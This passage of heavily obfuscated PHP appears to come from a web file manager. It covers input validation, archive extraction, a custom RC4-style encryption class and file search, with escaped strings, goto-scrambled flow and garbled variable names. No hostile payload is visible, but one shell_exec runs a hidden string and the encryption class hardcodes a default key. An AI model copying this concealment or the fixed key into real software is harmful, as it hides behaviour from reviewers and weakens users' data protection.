{ static $b = array("\162\x65\161\165\x69\x72\145" => "\56\53", "\156\x75\x6d\142\x65\x72" => "\x5c\x64\53", "\x68\145\x78" => "\133\60\55\x39\x41\55\x46\141\55\x66\x5d\x2b", "\151\156\x74" => "\x5b\55\x5c\53\x5d\77\x5c\144\53", "\142\x6f\x6f\154" => "\x30\174\x31", "\146\x6c\x6f\141\x74" => "\133\55\x5c\53\x5d\x3f\x5c\144\53\50\x5c\x2e\x5c\x64\53\51\x3f", "\145\x6e\x67\x6c\151\163\x68" => "\133\x41\55\132\141\55\172\40\135\53", "\143\150\151\x6e\145\x73\x65" => "\x5b\x5c\170\173\x34\x65\x30\x30\x7d\55\134\170\173\71\146\x61\65\x7d\x5d\x2b", "\x68\141\163\x43\x68\x69\156\145\163\145" => "\57\50\133\134\170\x7b\64\x65\x30\60\x7d\x2d\x5c\170\173\x39\146\141\65\175\x5d\x2b\x29\57\165", "\x65\155\x61\x69\154" => "\x5c\x77\x2b\50\133\x5c\x2e\x5c\55\x5d\134\167\53\x29\52\134\x40\134\x77\53\x28\133\134\56\134\55\x5d\134\x77\53\x29\x2a\x5c\x2e\x5c\167\x2b", "\160\x68\157\156\x65" => "\x31\x5b\63\55\71\135\134\x64\173\71\x7d", "\164\145\x6c\x70\150\157\x6e\145" => "\50\134\x28\134\144\x7b\x33\54\x34\175\x5c\51\x7c\134\144\173\63\54\64\175\x2d\x7c\x5c\x73\51\77\x5c\144\x7b\x37\x2c\x31\64\x7d", "\x75\162\x6c" => "\x28\x68\x74\x74\x70\174\x66\164\160\174\x68\x74\164\x70\x73\x29\72\134\x2f\x5c\57\133\134\167\x5c\x2d\137\135\x2b\50\x5c\56\133\x5c\167\134\55\x5f\x5d\x2b\x29\x2b\50\133\x5c\167\134\55\134\x2e\54\x40\77\x5e\x3d\45\x26\x3a\x5c\57\176\x5c\53\x23\x5d\x2a\x5b\x5c\167\x5c\55\x5c\100\77\136\x3d\x25\46\x5c\57\x7e\x5c\x2b\x23\x5d\51\x3f", "\165\x72\154\106\x75\154\x6c" => "\133\141\55\172\x41\x2d\172\x5d\53\72\134\x2f\x5c\57\133\136\134\163\135\x2a", "\x69\160" => "\50\x5c\x64\173\x31\x2c\63\x7d\134\x2e\51\x7b\x33\175\x28\134\144\173\61\x2c\x33\x7d\x29", "\x7a\151\x70" => "\133\61\55\71\x5d\134\x64\x7b\65\175\50\77\x21\134\x64\51", "\151\144\103\x61\x72\x64" => "\50\x5c\144\x7b\x31\65\175\x29\174\x28\x5c\144\x7b\x31\67\175\50\134\x64\174\130\x7c\170\x29\x29", "\x63\x6f\154\x6f\x72" => "\43\50\x5b\x30\x2d\71\x41\x2d\x46\141\55\x66\x5d\173\63\175\174\x5b\x30\55\71\x41\55\x46\x61\x2d\x66\135\x7b\66\x7d\x29", "\x74\x69\x6d\145" => "\50\x5b\x30\x2d\x31\135\134\144\x7c\x32\133\x30\55\x34\135\x29\x3a\x5b\60\55\x35\x5d\x5c\x64", "\x64\141\164\145" => "\x5c\144\173\x34\175\x5b\55\134\x2f\135\77\x28\x30\133\x31\x2d\x39\135\x7c\x31\x5b\60\x2d\62\135\51\133\55\x5c\57\135\77\x28\133\x30\x2d\x32\x5d\x5c\144\x7c\63\x5b\x30\55\61\x5d\51", "\144\141\x74\145\x54\x69\155\x65" => "\x5c\144\x7b\x34\175\x5b\x2d\x5c\x2f\135\77\x28\x30\133\x31\x2d\71\135\174\61\x5b\60\x2d\62\x5d\51\133\55\134\57\135\77\x28\x5b\60\55\x32\135\x5c\x64\x7c\x33\133\x30\x2d\61\x5d\x29\134\x73\53\x28\133\x30\55\61\x5d\x5c\x64\174\x32\133\x30\55\x34\135\x29\72\133\60\x2d\65\135\134\x64", "\x70\141\163\x73\167\x6f\162\144" => "\50\x3f\x3d\56\x2a\x5c\144\51\50\77\x3d\56\52\x5b\141\55\172\135\51\x28\x3f\75\56\x2a\x5b\101\55\x5a\x5d\x29\56\x7b\x38\54\62\60\175", "\153\x65\x79" => "\133\101\55\x5a\x61\55\x7a\x30\x2d\x39\x5f\x5c\x2d\134\56\x5d\53", "\153\x65\x79\x46\165\154\154" => "\x5b\x41\x2d\x5a\x61\55\172\60\x2d\71\137\x5c\x2d\x5c\56\x5c\x73\54\135\53"); if (!$E޲觙) { return $b; } return $b[$E޲觙]; } public static function check($E, $dҋ, $Fʓ = null) { $Bټ =& $_SERVER[ڊ]; switch ($dҋ) { case $Bټ[7]: return in_array($E, $Fʓ); break; case $Bټ[1850]: return floatval($E) > $Fʓ; break; case $Bټ[1851]: return floatval($E) < $Fʓ; break; case $Bټ[322]: return strlen($E) >= $Fʓ[0] && strlen($E) <= $Fʓ[1]; break; case $Bټ[322]: if (is_array($Fʓ)) { return strlen($E) >= $Fʓ[0] && strlen($E) <= $Fʓ[1]; break; } else { return strlen($E) == $Fʓ; break; } case $Bټ[318]: return floatval($E) >= $Fʓ[0] && floatval($E) <= $Fʓ[1]; break; } $bІҔ = self::reg(!1); $dҋ = isset($bІҔ[$dҋ]) ? $bІҔ[$dҋ] : $dҋ; if (substr($dҋ, 0, 1) != $Bټ[8]) { $dҋ = $Bټ[1852] . $dҋ . $Bټ[1853]; } return preg_match($dҋ, $E) === 1; } public static function get($d, $C = null, $Bֈ = null, $E蹈 = null) { goto Aӄ; Aӄ: $eڠ =& $_SERVER[ڊ]; $c͉ = array(); if (!is_null($Bֈ)) { $c͉[$eڠ[34]] = $Bֈ; } goto E; E: if (!is_null($E蹈)) { $c͉[$eڠ[1003]] = $E蹈; } if (!is_null($C)) { $c͉[$eڠ[1848]] = $C; } $cՒۑ = Input::getArray(array($d => $c͉)); goto d̙ߠ͢; d̙ߠ͢: return $cՒۑ[$d]; goto b񠭙; b񠭙: } } class KodArchive { static function init() { goto a; EӠ: require_once ARCHIVE_LIB . $c[1862]; require_once ARCHIVE_LIB . $c[1863]; require_once ARCHIVE_LIB . $c[1864]; goto Dڹ; Dڹ: require_once ARCHIVE_LIB . $c[1865]; goto c󭪾; FΕ: define($c[1856], TEMP_FILES); define($c[1857], TEMP_FILES); define($c[1858], $c[1859]); goto c؉; a: $c =& $_SERVER[ڊ]; if (defined($c[1854])) { return; } define($c[1854], SDK_DIR . $c[1855]); goto FΕ; c؉: mk_dir(TEMP_FILES); require_once ARCHIVE_LIB . $c[1860]; require_once ARCHIVE_LIB . $c[1861]; goto EӠ; c󭪾: } static function checkIfType($e꠴, $b㑑) { goto aǴ; aٌ: return $f; goto Cز; Fި: $f = in_array($e꠴, $Cݐ[$b㑑]); if ($f && ($b㑑 == $A[298] || $b㑑 == $A[1869]) && (!function_exists($A[1877]) || !function_exists($A[1878]))) { show_tips($A[1879]); } if ($f && $b㑑 == $A[1037] && (!function_exists($A[1880]) || !strstr(shell_exec($A[1881]), $A[1882]))) { show_tips($A[1883]); } goto aٌ; aǴ: $A =& $_SERVER[ڊ]; self::init(); $Cݐ = array($A[298] => array($A[298], $A[1866], $A[1867], $A[1868]), $A[1869] => array($A[1869], $A[1870], $A[1035], $A[1033]), $A[1037] => array($A[1037], $A[1871], $A[1872], $A[1873], $A[1874], $A[1875], $A[1876])); goto Fި; Cز: } static function listContent($DթԹ, $dꙬԈˊ = true) { $DОߌ =& $_SERVER[ڊ]; self::init(); $Cף = !empty($GLOBALS[$DОߌ[1041]]) ? $GLOBALS[$DОߌ[1041]] : get_path_ext($DթԹ); $e坬 = !1; if (self::checkIfType($Cף, $DОߌ[1869])) { $C᱂ϸ = PclTarList($DթԹ, $Cף); $e坬 = array(); for ($bǶڵ = 0; $bǶڵ < count($C᱂ϸ); $bǶڵ++) { $b򎌈 = $C᱂ϸ[$bǶڵ]; if ($b򎌈[$DОߌ[1884]] == $DОߌ[1885] || $b򎌈[$DОߌ[1884]] == $DОߌ[1886]) { continue; } if ($dꙬԈˊ) { $b򎌈[$DОߌ[1887]] = ltrim($b򎌈[$DОߌ[1887]], $DОߌ[1139]); } if ($b򎌈[$DОߌ[1884]] == $DОߌ[1888]) { $b򎌈[$DОߌ[76]] = !0; } else { $b򎌈[$DОߌ[76]] = !1; } $b򎌈[$DОߌ[1028]] = $bǶڵ; $e坬[] = $b򎌈; } } else { if (self::checkIfType($Cף, $DОߌ[1037])) { $D = kodRarArchive::listContent($DթԹ); if (!$D[$DОߌ[1024]]) { return $D; } else { $e坬 = $D[$DОߌ[1026]]; } } else { if (kodZipArchive::support($DОߌ[351])) { $e坬 = kodZipArchive::listContent($DթԹ); } else { $e믙 = new PclZip($DթԹ); $e坬 = $e믙->listContent(); } } } if ($e坬) { $f䛻 = unzip_charset_get($e坬); $dꙬԈˊ = $dꙬԈˊ && function_exists($DОߌ[65]); for ($bǶڵ = 0; $bǶڵ < count($e坬); $bǶڵ++) { $e坬[$bǶڵ][$DОߌ[1887]] = str_replace(array($DОߌ[1064], $DОߌ[1889]), $DОߌ[757], $e坬[$bǶڵ][$DОߌ[1887]]); if ($dꙬԈˊ) { $e坬[$bǶڵ][$DОߌ[1887]] = iconv_to($e坬[$bǶڵ][$DОߌ[1887]], $f䛻, $DОߌ[323]); unset($e坬[$bǶڵ][$DОߌ[1890]]); } } return array($DОߌ[1024] => !0, $DОߌ[1026] => $e坬); } else { return array($DОߌ[1024] => !1, $DОߌ[1026] => $e坬); } } static function extract($A, $E, $c = "\x2d\x31", &$dƻ = false) { goto A; a͸: $b = self::listContent($A, !1); if (!$b[$Bћ[1024]]) { return $b; } if ($c != $Bћ[1023]) { goto DГ; a: if ($GLOBALS[$Bћ[6]][$Bћ[1137]] != $Bћ[323]) { $f = unzip_pre_name($dƻ); } $D뜽 = get_path_father($dƻ); if ($D뜽 == $dƻ) { $D뜽 = $Bћ[33]; } goto d; DГ: $f䩉 = self::fileIndex($b[$Bћ[1026]], $c); $dƻ = str_replace(array($Bћ[1064], $Bћ[1889]), $Bћ[70], $f䩉[$Bћ[1887]]); $f = $dƻ; goto a; d: if ($f䩉[$Bћ[76]]) { $f = rtrim($f, $Bћ[8]) . $Bћ[8]; $dƻ = array($dƻ); } $Eڃߔ = str_replace($Bћ[95], $Bћ[8], $f); if (substr($Eڃߔ, -1) == $Bћ[8]) { if (!strstr(trim($Eڃߔ, $Bћ[8]), $Bћ[8])) { $E = $E . get_path_this($Eڃߔ) . $Bћ[8]; } } else { if ($D뜽 == $f) { $D뜽 = $Bћ[33]; } } goto a󯭢; a󯭢: } goto dʏ٥; dʏ٥: if (self::checkIfType($c؋, $Bћ[1869])) { if ($c != $Bћ[1023]) { $f = unzip_pre_name($f); $D뜽 = unzip_pre_name($D뜽); $dː = PclTarExtractList($A, array($f), $E, $D뜽, $c؋); } else { $dː = PclTarExtract($A, $E, $Bћ[358], $c؋); } return array($Bћ[1024] => $dː, $Bћ[1026] => PclErrorString(!0)); } else { if (self::checkIfType($c؋, $Bћ[1037])) { return kodRarArchive::extract($A, $E, $c؋, $dƻ); } else { if (kodZipArchive::support($Bћ[1891])) { return kodZipArchive::extract($A, $E, $dƻ); } else { $cߊ = new PclZip($A); if ($c != $Bћ[1023]) { $dː = $cߊ->extract(PCLZIP_OPT_PATH, $E, PCLZIP_OPT_SET_CHMOD, DEFAULT_PERRMISSIONS, PCLZIP_CB_PRE_FILE_NAME, $Bћ[1892], PCLZIP_OPT_BY_NAME, $f䩉[$Bћ[1887]], PCLZIP_OPT_REMOVE_PATH, $D뜽, PCLZIP_OPT_REPLACE_NEWER); } else { $dː = $cߊ->extract(PCLZIP_OPT_PATH, $E, PCLZIP_OPT_SET_CHMOD, DEFAULT_PERRMISSIONS, PCLZIP_CB_PRE_FILE_NAME, $Bћ[1892], PCLZIP_OPT_REPLACE_NEWER); } return array($Bћ[1024] => $dː, $Bћ[1026] => $cߊ->errorName(!0)); } } } return array($Bћ[1024] => !1, $Bћ[1026] => $Bћ[1893]); goto Fݖ߳; A: $Bћ =& $_SERVER[ڊ]; self::init(); $c؋ = !empty($GLOBALS[$Bћ[1041]]) ? $GLOBALS[$Bћ[1041]] : get_path_ext($A); goto a͸; Fݖ߳: } static function fileIndex($eȒ͆, $f؆͗, $dվ = false) { goto e; e: $aЊܭ =& $_SERVER[ڊ]; self::init(); if (!is_array($eȒ͆)) { return !1; } goto D; Dۼ: $eɵ = $fŧ; if ($dվ) { $eɵ = $fŧ[$dվ]; if ($fŧ[$aЊܭ[76]]) { $eɵ = rtrim($eɵ, $aЊܭ[8]) . $aЊܭ[8]; } } return $eɵ; goto d; D: $d = count($eȒ͆); for ($Dʑ = 0; $Dʑ < $d; $Dʑ++) { if ($f؆͗ == $eȒ͆[$Dʑ][$aЊܭ[1028]]) { $fŧ = $eȒ͆[$Dʑ]; break; } } if (!$fŧ) { show_tips($aЊܭ[1894]); } goto Dۼ; d: } static function extractZipFile($E, $DЛ, $e̤ = false) { goto b‚; b‚: $d =& $_SERVER[ڊ]; self::init(); $fѴϧ = TEMP_FILES . hash_path($E) . $d[8]; goto AЋ; c泏: if (!file_exists($eէ)) { return !1; } @rename($eէ, $că); return $că; goto b酐ծ; AЋ: mk_dir($fѴϧ); $că = $fѴϧ . md5($E . $DЛ); if ($e̤) { $că = $fѴϧ . $e̤; } goto a蝪; a蝪: if (file_exists($că)) { return $că; } $F = new PclZip($E); $eէ = unzip_filter_ext($fѴϧ . get_path_this($DЛ)); goto F߶; F߶: $eΈ = get_path_father($DЛ); if ($eΈ == $DЛ) { $eΈ = $d[33]; } $aמ = $F->extract(PCLZIP_OPT_PATH, $fѴϧ, PCLZIP_CB_PRE_FILE_NAME, $d[1892], PCLZIP_OPT_REMOVE_PATH, $eΈ, PCLZIP_OPT_BY_NAME, $DЛ); goto c泏; b酐ծ: } static function filePreview($d̺, $cǽ, $cً = false, $C֊ = false) { goto Eݞ; bى몑: $f = unzip_pre_name($f); $aͣ = get_path_this($f); $f = unzip_filter_ext($bՔ . $aͣ); goto b; Eݞ: $cԇ =& $_SERVER[ڊ]; self::init(); $bՔ = TEMP_FILES . hash_path($d̺) . $cԇ[8]; goto fá; fá: mk_dir($bՔ); $EŞ = $bՔ . md5($d̺ . $cǽ . $C֊); $f = $cԇ[33]; goto Bɶ; DПŬ: if (!file_exists($EŞ)) { del_dir($bՔ); show_json($cԇ[1897]); } IO::fileOut($EŞ, $cً, $aͣ); goto Bֹ; b: if (!$fΚ󨆴[$cԇ[1024]]) { show_json($fΚ󨆴[$cԇ[1026]], !1); } if (!file_exists($f)) { show_json($cԇ[1896], !1); } @rename($f, $EŞ); goto DПŬ; Bɶ: $fΚ󨆴 = self::extract($d̺, $bՔ, $cǽ, $f); if (is_array($f)) { show_json($cԇ[1895], !1); } if (file_exists($EŞ)) { IO::fileOut($EŞ, $cً, get_path_this($f)); return; } goto bى몑; Bֹ: } static function create($F, $b) { $F˺ =& $_SERVER[ڊ]; self::init(); $Fȿ = get_path_ext($F); $E֫ = !1; if (self::checkIfType($Fȿ, $F˺[298])) { if (kodZipArchive::support($F˺[1002])) { return kodZipArchive::create($F, $b); } $e똠 = new PclZip($F); foreach ($b as $Dڟ => $b) { $b = str_replace($F˺[463], $F˺[8], $b); $b = Kodio::clear(get_path_father($b)); if ($Dڟ == 0) { $E֫ = $e똠->create($b, PCLZIP_OPT_REMOVE_PATH, $b, PCLZIP_CB_PRE_FILE_NAME, $F˺[1898]); continue; } $E֫ = $e똠->add($b, PCLZIP_OPT_REMOVE_PATH, $b, PCLZIP_CB_PRE_FILE_NAME, $F˺[1898]); } } else { if (self::checkIfType($Fȿ, $F˺[1869])) { foreach ($b as $Dڟ => $b) { $b = str_replace($F˺[463], $F˺[8], $b); $b = Kodio::clear(get_path_father($b)); if ($Dڟ == 0) { $E֫ = PclTarCreate($F, array($b), $Fȿ, null, $b); continue; } $E֫ = PclTarAddList($F, array($b), $F˺[33], $b, $Fȿ); } } } return $E֫; } } class Mcrypt { public static $defaultKey = "\141\41\164\x61\x6b\101\x3a\x64\x6c\x6d\x63\x6c\144\x45\x76\x2c\x65"; public static function encode($Dʛٝƕ, $e = '', $F͙ = 0, $F = '') { goto CܹǮ; f񩑄: $eی = md5(substr($e, 0, 16)); $F = md5(substr($e, 16, 16)); $F = $F ? $F : md5(microtime()); goto Eښس; c: $Dʛٝƕ = sprintf($Dς[1899], $F͙ ? $F͙ + time() : 0) . substr(md5($Dʛٝƕ . $F), 0, 16) . $Dʛٝƕ; $d塼 = strlen($Dʛٝƕ); $B߃ = array(); goto eݥ; f: $D = $Dς[33]; for ($Cذ = $e = $D = 0; $D < $d塼; $D++) { $Cذ = ($Cذ + 1) % 256; $e = ($e + $bڽ܎[$Cذ]) % 256; $eֺ = $bڽ܎[$Cذ]; $bڽ܎[$Cذ] = $bڽ܎[$e]; $bڽ܎[$e] = $eֺ; $D .= chr(ord($Dʛٝƕ[$D]) ^ $bڽ܎[($bڽ܎[$Cذ] + $bڽ܎[$e]) % 256]); } $D = $F . str_replace($Dς[901], $Dς[33], base64_encode($D)); goto E޿; CܹǮ: $Dς =& $_SERVER[ڊ]; $e߈ = 4; $e = md5($e ? $e : self::$defaultKey); goto f񩑄; eݥ: for ($D = 0; $D <= 255; $D++) { $B߃[$D] = ord($Eڄۏ[$D % $fڅ]); } $bڽ܎ = range(0, 255); for ($e = $D = 0; $D < 256; $D++) { $e = ($e + $bڽ܎[$D] + $B߃[$D]) % 256; $eֺ = $bڽ܎[$D]; $bڽ܎[$D] = $bڽ܎[$e]; $bڽ܎[$e] = $eֺ; } goto f; Eښس: $F = substr($F, -$e߈); $Eڄۏ = $eی . md5($eی . $F); $fڅ = strlen($Eڄۏ); goto c; E޿: $D = str_replace(array($Dς[281], $Dς[8], $Dς[901]), array($Dς[408], $Dς[70], $Dς[93]), $D); return $D; goto a郦; a郦: } public static function decode($E, $aӍ = '') { goto e˩ܱ; dڙ: $E = base64_decode(substr($E, $Cϻ)); $D = strlen($E); $f = array(); goto c͊; D򉓮: $Fӆ = substr($E, 0, $Cϻ); $fܩ = $Aˇ . md5($Aˇ . $Fӆ); $a꧳޹ = strlen($fܩ); goto dڙ; e˩ܱ: $C쨎 =& $_SERVER[ڊ]; $E = str_replace(array($C쨎[408], $C쨎[70], $C쨎[93]), array($C쨎[281], $C쨎[8], $C쨎[901]), $E); $Cϻ = 4; goto Dʊ; FɆР: $c񘦶 = $C쨎[33]; for ($B = $dʊ = $D = 0; $D < $D; $D++) { $B = ($B + 1) % 256; $dʊ = ($dʊ + $fø[$B]) % 256; $DسȆ = $fø[$B]; $fø[$B] = $fø[$dʊ]; $fø[$dʊ] = $DسȆ; $c񘦶 .= chr(ord($E[$D]) ^ $fø[($fø[$B] + $fø[$dʊ]) % 256]); } $e = intval(substr($c񘦶, 0, 10)); goto C̃; C̃: if (($e == 0 || $e - time() > 0) && substr($c񘦶, 10, 16) == substr(md5(substr($c񘦶, 26) . $Dض), 0, 16)) { return substr($c񘦶, 26); } else { return $C쨎[33]; } goto Aҿ򎪑; Dʊ: $aӍ = md5($aӍ ? $aӍ : self::$defaultKey); $Aˇ = md5(substr($aӍ, 0, 16)); $Dض = md5(substr($aӍ, 16, 16)); goto D򉓮; c͊: for ($D = 0; $D <= 255; $D++) { $f[$D] = ord($fܩ[$D % $a꧳޹]); } $fø = range(0, 255); for ($dʊ = $D = 0; $D < 256; $D++) { $dʊ = ($dʊ + $fø[$D] + $f[$D]) % 256; $DسȆ = $fø[$D]; $fø[$D] = $fø[$dʊ]; $fø[$dʊ] = $DسȆ; } goto FɆР; Aҿ򎪑: } } goto c; aЌџ: class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($EÙ֙) { goto F; c߂گ: if (!$Fك) { return array(); } $f拔͢ = $Fك[$Bůŋ[157]]; $c = $Bůŋ[7]; goto fڐ; fڐ: if (!$Fك[$Bůŋ[157]]) { $f糖 = array_to_keyvalue($c擧, $Bůŋ[33], $Bůŋ[157]); $f拔͢ = implode($Bůŋ[47], $f糖); $c = $Bůŋ[2226]; } $b󘰞 = explode($Bůŋ[47], trim($f拔͢, $Bůŋ[47])); return array($c, $b󘰞); goto Bڝ; F: $Bůŋ =& $_SERVER[ڊ]; $c擧 = KodIO::fileTypeList(); $Fك = $c擧[$EÙ֙]; goto c߂گ; Bڝ: } public function listPathType($cǺ) { $F =& $_SERVER[ڊ]; $F = $this->fileTypeWhere($cǺ); if (!$F) { return array(); } $E = array($F[517] => SourceModel::TYPE_USER, $F[518] => USER_ID, $F[514] => 0, $F[515] => $F); return $this->listSource($E); } public function listSearch($C䃃, $E = 300) { goto B䏯; B䏯: $E؊ =& $_SERVER[ڊ]; if (isset($C䃃[$E؊[2148]]) && $C䃃[$E؊[2148]]) { $C䃃[$E؊[2148]] = str_replace($E؊[1561], $E؊[2270], trim($C䃃[$E؊[2148]])); } $dѴ = $this->_parseSearchWhere($C䃃); goto E䆦; cǣ: $this->_listSearchDesc($bن, $C䃃, $cʰ); $this->_listSearchTag($bن, $C䃃, $cʰ); $this->_listDataApply($bن[$E؊[351]]); goto e罧; e罧: $this->_listMake($bن); return $bن; goto cˑ›; E䆦: if (!isset($dѴ[$E؊[393]])) { $dѴ[$E؊[393]] = 0; } $E޸ = $E؊[2271]; $cʰ = $E޸; goto E; E: $this->_listSearchBindPinyin($C䃃, $dѴ, $E޸); $this->alias($E؊[483])->_makeOrder()->cache(null, 10); $bن = $this->distinct(!0)->field($E޸)->where($dѴ)->selectPage($E); goto cǣ; cˑ›: } private function _listSearchTag(&$f܏ޥ, $F۸, $B‡) { goto d됇; aޚ: if (!$E푌) { return; } $cԿ = array($Dփؐڤ[390] => array($Dփؐڤ[7], $E푌)); $eȥ = Model($Dփؐڤ[2273])->field($Dփؐڤ[75])->where($cԿ)->select(); goto e̎; BљӺ: $E푌 = array(); $F = $F۸[$Dփؐڤ[2148]]; foreach ($F颣͇ as $f̹͐) { $b۷ = $f̹͐[$Dփؐڤ[28]]; $f։ = str_replace($Dփؐڤ[50], $Dփؐڤ[33], Pinyin::encode($b۷)); if (stripos($b۷, $F) !== !1 || stripos($f։, $F) !== !1) { $E푌[] = $f̹͐[$Dփؐڤ[364]]; } } goto aޚ; e̎: $eȥ = array_to_keyvalue($eȥ, $Dփؐڤ[33], $Dփؐڤ[75]); $b = array_unique($eȥ); $this->_listSearchMerge($f܏ޥ, $F۸, $B‡, $b); goto A; d됇: $Dփؐڤ =& $_SERVER[ڊ]; if (!$F۸[$Dփؐڤ[2148]] || $f܏ޥ[$Dփؐڤ[348]][$Dփؐڤ[337]] > 1) { return; } $F颣͇ = Model($Dփؐڤ[2272])->listData(); goto BљӺ; A: } private function _listSearchDesc(&$CԘ, $d閂, $fˋ̈) { goto e̽; e̽: $eӇ =& $_SERVER[ڊ]; if (!$d閂[$eӇ[2148]] || $CԘ[$eӇ[348]][$eӇ[337]] > 1) { return; } $Fȵ쐤 = $this->listSearchChildren($d閂[$eӇ[457]]); goto c; c: $Fȵ쐤 = array_unique($Fȵ쐤); if (!$Fȵ쐤) { return; } $Dσ = array($eӇ[366] => array($eӇ[7], $Fȵ쐤), $eӇ[89] => $eӇ[401], $eӇ[356] => array($eӇ[746], $eӇ[2150] . $d閂[$eӇ[2148]] . $eӇ[2150])); goto C哉; C哉: $D = Model($eӇ[500])->field($eӇ[366])->where($Dσ)->select(); $F˿鍈 = array_to_keyvalue($D, $eӇ[33], $eӇ[366]); $this->_listSearchMerge($CԘ, $d閂, $fˋ̈, $F˿鍈); goto b͐; b͐: } private function _listSearchMerge(&$d䱮, $Aׄ, $eǮ㣂, $e̬) { goto c; c: $dѼ =& $_SERVER[ڊ]; if (!$e̬) { return; } $f = array_to_keyvalue($d䱮[$dѼ[351]], $dѼ[33], $dѼ[366]); goto eӘ鄞; eӘ鄞: $FۋȎ = array_diff($e̬, $f); if (!$FۋȎ) { return; } $dԨݱ = array($dѼ[366] => array($dѼ[7], $FۋȎ)); goto e; e: $fǑ⸡ = $this->field($eǮ㣂)->where($dԨݱ)->select(); if (!$fǑ⸡) { return; } $cՍ׈ = array(); goto BӦ; BӦ: foreach ($fǑ⸡ as $E׍) { $Fֱ = $dѼ[47] . $Aׄ[$dѼ[457]] . $dѼ[47]; if (stripos($E׍[$dѼ[455]], $Fֱ) !== !1) { $cՍ׈[] = $E׍; } } $d䱮[$dѼ[351]] = array_merge($cՍ׈, $d䱮[$dѼ[351]]); $d䱮[$dѼ[348]][$dѼ[349]] += count($cՍ׈); goto cћ; cћ: } public function listSearchChildren($E, $e՟փ = 5000) { goto BɊ; C: $dˌخ = $this->field($Bңҽ[366])->where($bŋ)->select(); $DФ充 = array_to_keyvalue($dˌخ, $Bңҽ[33], $Bңҽ[366]); return $DФ充; goto D; eؖŴ: $bŋ = array($Bңҽ[455] => array($Bңҽ[746], $A[$Bңҽ[455]] . $A[$Bңҽ[366]] . $Bңҽ[480])); $cۖ֎ = $this->field($Bңҽ[366])->cache(null, 600)->where($bŋ)->count(); if ($cۖ֎ > $e՟փ) { return $this->_listSearchChildrenNear($E, $e՟փ); } goto C; BɊ: $Bңҽ =& $_SERVER[ڊ]; $DФ充 = array(); $A = $this->sourceInfo($E); goto eؖŴ; D: } private function _listSearchChildrenNear($Cȱ, $Eެ) { goto CŖݒ˨; CŖݒ˨: $fՏ =& $_SERVER[ڊ]; $fõ = array(); $E = array($fՏ[457] => $Cȱ); goto d; Dդ: $fõ = array_merge($fõ, array_to_keyvalue($fխ߫⺝, $fՏ[33], $fՏ[366])); $fõ = array_slice($fõ, 0, $Eެ); return $fõ; goto B; d: $fխ߫⺝ = $this->field($fՏ[2274])->where($E)->select(); $b҅ = array_to_keyvalue(array_filter_by_field($fխ߫⺝, $fՏ[367], $fՏ[83]), $fՏ[33], $fՏ[366]); $fõ = array_merge($fõ, array_to_keyvalue($fխ߫⺝, $fՏ[33], $fՏ[366])); goto f討; f討: if (!$b҅) { return $fõ; } $E = array($fՏ[457] => array($fՏ[7], $b҅)); $fխ߫⺝ = $this->field($fՏ[2274])->where($E)->select(); goto Dդ; B: } private function _listSearchBindPinyin($Eޘ, &$FŨʱ, &$b) { goto A쭫; a쳈: $e͡[] = array($aԭƛ[2278] => $Aۄ, $aԭƛ[908] => $aԭƛ[2152], array($aԭƛ[2279] => $Aۄ, $aԭƛ[2280] => array($aԭƛ[7], array($aԭƛ[412], $aԭƛ[411])))); $this->join($EҼܛ); $FŨʱ = $e͡; goto e㹊; c˼މ׾: $e͡ = array(); $b = str_replace(array($aԭƛ[214], $aԭƛ[50], $aԭƛ[2275]), $aԭƛ[33], $b); $b = $aԭƛ[2276] . str_replace($aԭƛ[47], $aԭƛ[2277], $b); goto D; A쭫: $aԭƛ =& $_SERVER[ڊ]; if (!Input::check($Eޘ[$aԭƛ[2148]], $aԭƛ[303]) || strlen($Eޘ[$aԭƛ[2148]]) < 2) { return; } $EҼܛ = "\114\105\x46\x54\40\112\117\111\116\x20{$this->tablePrefix}\151\157\137\163\157\x75\x72\143\x65\x5f\x6d\145\164\141\40\x6d\x65\x74\141\40\x6f\156\x20\163\157\x75\162\143\145\56\163\x6f\165\162\x63\145\111\x44\40\x3d\x20\155\145\164\x61\x2e\x73\157\x75\162\x63\x65\111\104"; goto c˼މ׾; D: unset($FŨʱ[$aԭƛ[28]]); foreach ($FŨʱ as $e => $cӊ) { $e͡[$aԭƛ[2276] . $e] = $cӊ; } $Aۄ = array($aԭƛ[479], $aԭƛ[2150] . $Eޘ[$aԭƛ[2148]] . $aԭƛ[2150]); goto a쳈; e㹊: } private function _parseSearchWhere($CĞ) { goto e; FҾ: if (isset($CĞ[$f•ٲ[2148]]) && $CĞ[$f•ٲ[2148]]) { $Cܖ = $CĞ[$f•ٲ[2148]]; $dވ = explode($f•ٲ[50], $Cܖ); if (strlen($Cܖ) > 2 && (substr($Cܖ, 0, 1) == $f•ٲ[113] && substr($Cܖ, -1) == $f•ٲ[113]) || substr($Cܖ, 0, 1) == $f•ٲ[55] && substr($Cܖ, -1) == $f•ٲ[55]) { $Cܖ = substr($Cܖ, 1, -1); $dވ = array($Cܖ); } $dݚ[$f•ٲ[28]] = array($f•ٲ[479], $f•ٲ[2150] . $Cܖ . $f•ٲ[2150]); if (count($dވ) > 1) { $dݚ[$f•ٲ[28]] = array(); foreach ($dވ as $aݚͮҡ) { if (!trim($aݚͮҡ)) { continue; } $dݚ[$f•ٲ[28]][] = array($f•ٲ[479], $f•ٲ[2150] . trim($aݚͮҡ) . $f•ٲ[2150]); } } } return $dݚ; goto Eֻ; AɈ̜: if (isset($CĞ[$f•ٲ[698]])) { $bҲ = array($f•ٲ[2282], $CĞ[$f•ٲ[698]]); if ($dݚ[$f•ٲ[107]]) { $dݚ[$f•ٲ[107]] = array($dݚ[$f•ٲ[107]], $bҲ, $f•ٲ[2283]); } else { $dݚ[$f•ٲ[107]] = $bҲ; } } if (isset($CĞ[$f•ٲ[2284]])) { $dݚ[$f•ٲ[77]] = array($f•ٲ[2281], $CĞ[$f•ٲ[2284]]); } if (isset($CĞ[$f•ٲ[2285]])) { $bҲ = array($f•ٲ[2282], $CĞ[$f•ٲ[2285]]); if ($dݚ[$f•ٲ[77]]) { $dݚ[$f•ٲ[77]] = array($dݚ[$f•ٲ[77]], $bҲ, $f•ٲ[2283]); } else { $dݚ[$f•ٲ[77]] = $bҲ; } } goto b؈; e: $f•ٲ =& $_SERVER[ڊ]; $dݚ = array(); if (isset($CĞ[$f•ٲ[697]])) { $dݚ[$f•ٲ[107]] = array($f•ٲ[2281], $CĞ[$f•ٲ[697]]); } goto AɈ̜; b؈: if (isset($CĞ[$f•ٲ[531]])) { $dݚ[] = array($f•ٲ[376] => $CĞ[$f•ٲ[531]], $f•ٲ[375] => $CĞ[$f•ٲ[531]], $f•ٲ[908] => $f•ٲ[2152]); } if (isset($CĞ[$f•ٲ[369]])) { 